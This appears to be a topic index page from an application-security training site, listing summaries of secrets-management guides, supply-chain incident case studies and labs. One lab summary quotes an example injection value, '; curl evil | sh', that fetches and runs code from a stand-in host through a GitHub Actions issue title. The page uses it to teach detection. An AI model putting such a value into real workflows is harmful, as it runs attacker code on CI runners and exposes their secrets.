Secrets management

Choose and evaluate application security testing tools

What SAST, DAST, IAST, SCA, secrets, IaC, container and API scanners and ASPM each find and miss, where each runs, how to evaluate them on a seeded repository with per-CWE scoring and triage cost, and which to adopt first.

Testing, Maintenance, Security program · AppSec engineers, Platform engineers and SREs, Security leaders

Case study: the Shai-Hulud npm worm (2025-2026)

How a self-replicating npm worm turned stolen tokens into hundreds of infected packages in 2025, how its 2026 successors hijacked release pipelines and trusted publishing, what npm and GitHub changed in response, and the publishing, install and response practices that stop it.

Development, Release, Maintenance · Developers, AppSec engineers, Platform engineers and SREs

Case study: the tj-actions/changed-files compromise (CVE-2025-30066)

In March 2025 an attacker moved the version tags of a popular GitHub Action, and of a reviewdog action before it, to code that printed CI secrets into build logs. This case study traces the token chain back to one pull_request_target workflow, sizes the exposure, and shows how it was caught and which controls held.

Development, Release, Maintenance · Developers, AppSec engineers, Platform engineers and SREs

Case study: the Codecov Bash Uploader compromise (2021)

How a credential leaked through Codecov's Docker image process let an attacker change the Bash Uploader that many CI pipelines downloaded and ran, which sent their environment variables, and the secrets in them, to the attacker for two months in 2021.

Development, Release, Maintenance · AppSec engineers, Platform engineers and SREs

Harden GitHub Actions against workflow and supply-chain attacks

Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.

Development, Release · Developers, AppSec engineers, Platform engineers and SREs

Protect the source repository: rulesets, reviews and signed commits

Configure the controls every repository that ships software needs: protected branches and tags, required review with CODEOWNERS, signed commits, secret push protection and account security, mapped to the SLSA Source track, the OpenSSF OSPS Baseline and Scorecard.

Development, Testing, Release, Security program · Developers, AppSec engineers, Platform engineers and SREs

Review infrastructure changes as access changes

Inspect the effective permissions, exposure, sensitive state, and recovery implications of a proposed infrastructure change.

Release, Maintenance · Developers, Platform engineers and SREs

Harden container images from Dockerfile to admission

Build minimal, non-root images pinned by digest, keep secrets out of every layer, then scan, sign and verify the exact digest before it runs with dropped privileges.

Development, Release, Maintenance · Developers, Platform engineers and SREs

Case study: ingress-nginx CVE-2025-1974 and the exposed admission webhook (2025)

How an admission webhook open to the whole Pod network made ingress-nginx's configuration-injection bugs a 9.8 cluster-takeover risk in 2025, and what its 2026 retirement means.

Development, Maintenance · Developers, Platform engineers and SREs

Case study: the CircleCI security incident (January 2023)

How a session stolen from one engineer's laptop reached CircleCI's production systems and customers' stored secrets in 2023, and what platform operators and CI users should change.

Release, Maintenance · Platform engineers and SREs

Case study: Microsoft AI researchers' over-permissive SAS token (2023)

How an over-permissive Azure Storage SAS token in a public repository for AI models exposed internal Microsoft data in 2023, and how to scope, scan for and revoke signed URLs.

Maintenance · Platform engineers and SREs

Secrets management: storage, rotation and leaked-secret response

Follow one application credential from issuance through caching, rotation, revocation and restored backups, prove that its old value stops working, and respond correctly when a secret leaks.

Development, Maintenance · Developers, Platform engineers and SREs

Contain a leaked secret, then investigate and clean up

Revoke an exposed API key, token or private key at its issuer before anything else, end the sessions it minted, check the provider's logs, then remove every copy and replace it with a credential that expires on its own.

Development, Maintenance · Developers, AppSec engineers, Platform engineers and SREs

Secrets at runtime: Vault, Kubernetes Secrets, CSI driver, External Secrets and SOPS

How a running workload should get its credentials: encrypt Kubernetes Secrets with a KMS v2 provider and lock down RBAC, mount from an external store with the Secrets Store CSI Driver, sync with External Secrets Operator, issue dynamic credentials with Vault and its Agent Injector, keep Git copies encrypted with SOPS, and make rotation reach the process.

Design, Development, Maintenance · Developers, Platform engineers and SREs

Case study: the LastPass breach (2022)

How an attacker went from a compromised developer laptop to a DevOps engineer's home computer, the keys to LastPass's cloud backups and a copy of customer vaults; why each vault's safety then rested on its master password and PBKDF2 iteration count; and what it teaches about backup keys, privileged endpoints, KDF upgrades and unencrypted metadata.

Design, Development, Maintenance · AppSec engineers, Platform engineers and SREs

Secure AI-assisted development with coding assistants and agents

Treat generated code, suggested packages, repository text and MCP servers as untrusted inputs, and confine coding agents with OS-level isolation and short-lived, narrowly scoped credentials.

Design, Development · Developers, AppSec engineers

Call a hosted LLM API safely

A code-first checklist for wiring up an OpenAI or Anthropic API call from a backend: keep keys server-side, redact PII before prompts and logs, choose provider retention settings deliberately, validate structured output and still treat it as untrusted, and set timeouts, retries and per-user cost caps.

Design, Development · Developers, AppSec engineers

Keep secrets and controls out of hidden context (OWASP LLM08:2026)

OWASP LLM08:2026 Hidden Context Exposure, which replaced System Prompt Leakage: why system prompts, tool schemas and retrieved policy text get extracted, what must never be in them, and how to enforce rules where a leak changes nothing.

Design, Development · Developers, AppSec engineers

Case study: the Nx s1ngularity compromise and its AI-assisted payload (2025)

How a pull-request-title injection in a GitHub Actions workflow on an outdated branch gave an attacker the Nx npm token in August 2025, how the malicious versions tried to turn developers' own AI command-line tools into file-search agents, and the workflow, publishing and agent controls that stop the same chain.

Design, Development, Release, Maintenance · Developers, Platform engineers and SREs

Case study: the Amazon Q Developer extension compromise (2025)

How an over-scoped GitHub token, extracted from an AWS CodeBuild pull request build, let a threat actor commit code to the Amazon Q Developer extension for VS Code that shipped in version 1.84.0 in July 2025, why the injected code aimed at the Q Developer CLI failed, and the CI and AI-agent controls the incident argues for.

Design, Development, Testing, Release, Maintenance · Developers, Platform engineers and SREs

Actions injection lab: Flag GitHub Actions expression injection

A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.

Insecure randomness lab: Generate unguessable API keys

An integration service issues 16-character API keys from Math.random, which is not built to be unpredictable. Take every character from the system’s secure generator, lengthen the key and map bytes without bias.

Hard-coded secrets

A hard-coded secret is a credential written into the code or into a file committed with it: an API key in a string constant, a password in application.properties or appsettings.json, a token in a checked-in .env file.